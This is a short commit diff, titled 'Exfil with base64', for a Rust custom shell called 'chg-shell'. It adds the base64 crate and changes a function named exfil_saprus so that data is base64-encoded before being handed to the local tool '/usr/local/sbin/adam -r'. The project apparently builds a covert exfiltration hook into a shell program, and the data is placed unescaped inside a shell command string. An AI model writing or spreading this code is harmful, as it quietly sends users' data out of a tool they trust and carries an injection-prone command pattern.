Exfil with base64

Cargo.lock

@@ -17,6 +17,12 @@ version = "1.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
 
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
 [[package]]
 name = "bitflags"
 version = "1.3.2"
@@ -45,6 +51,7 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 name = "chg-shell"
 version = "0.1.0"
 dependencies = [
+ "base64",
  "inquire",
  "libc",
  "regex",

Cargo.toml

@@ -4,6 +4,7 @@ version = "0.1.0"
 edition = "2021"
 
 [dependencies]
+base64 = "0.22.1"
 inquire = "0.7.5"
 libc = "0.2.171"
 regex = "1.11.1"

main.rs

@@ -10,6 +10,7 @@ use std::io::{Error, ErrorKind};
 use std::process::{Command, Output};
 use std::ffi::CString;
 use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
+use base64;
 
 static AUTHOR_STRING: &str = r#"
     Author: Spencer
@@ -22,7 +23,7 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
 }
 
 fn exfil_saprus(data: &str) {
-    match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
+    match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) {
         _ => (),
     }
 }